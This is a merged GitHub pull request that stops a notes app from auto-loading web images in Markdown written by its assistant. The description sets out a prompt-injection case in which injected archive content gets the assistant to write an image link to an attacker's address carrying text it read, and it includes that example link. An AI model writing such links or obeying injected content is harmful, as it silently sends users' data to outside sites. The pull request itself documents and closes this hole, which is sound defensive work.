8000 fix(notes): don't fetch web images in Markdown the assistant writes by adeelahmad · Pull Request #194 · adeelahmad/lense · GitHub
[go: up one dir, main page]

Skip to content

fix(notes): don't fetch web images in Markdown the assistant writes - #194

Merged
adeelahmad merged 1 commit into
mainfrom
claude/project-thread-qt650x-note-images
Oct 6, 2026
Merged

adeelahmad merged 1 commit into
mainfrom
claude/project-thread-qt650x-note-images

Conversation

@adeelahmad
Copy link
Copy Markdown
Owner

Requested by Adeel · project thread

Description

Before: when a note's body came from Markdown (a new page, or one the assistant or the API last wrote), BlockSuite's Markdown importer fetched every http(s) image the moment someone opened the page. Injected archive content could get the assistant to write [x](https://attacker/?q=<text it read>) with write_note, which needs no approval. The next person to open the note then sent that text to the attacker's site without clicking anything.

After: web images in that Markdown come in as ordinary links, which still need a click. Images kept in the file store, data: images and everything else are unchanged. Notes edited in the editor load from its saved state and are untouched.

Motivation and Context

This fixes threat-model question Q26, the answer-egress channel: rendering an answer must not fetch anything (VALID-HARDENING). Chat, page chat and batch reports already render through a parser that never shows images. Notes were the one gap.

Types of changes

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to change; ! in the title)

Checklist:

  • The title is a Conventional Commit.
  • My code follows the code style of this project (make hooks checks it on commit).
  • I added or updated tests.
  • My change requires documentation updates, and I have updated docs/ accordingly.
  • Users need more than the title to understand it, so I wrote it under ## Unreleased in CHANGELOG.md.

🤖 Generated with Claude Code

https://claude.ai/code/session_01W42z4FbekWr33b6791svQQ


Generated by Claude Code

BlockSuite's Markdown importer fetches every http(s) image as a page
opens. Markdown the assistant or the API wrote (which archived content can
steer) could put readable text in an image address and have it sent to
another site without a click. Such images now come in as links.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W42z4FbekWr33b6791svQQ
@adeelahmad adeelahmad self-assigned this Oct 6, 2026
@adeelahmad
adeelahmad merged commit 738af1c into main Oct 6, 2026
5 checks passed
@adeelahmad
adeelahmad deleted the claude/project-thread-qt650x-note-images branch October 6, 2026 10:34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

0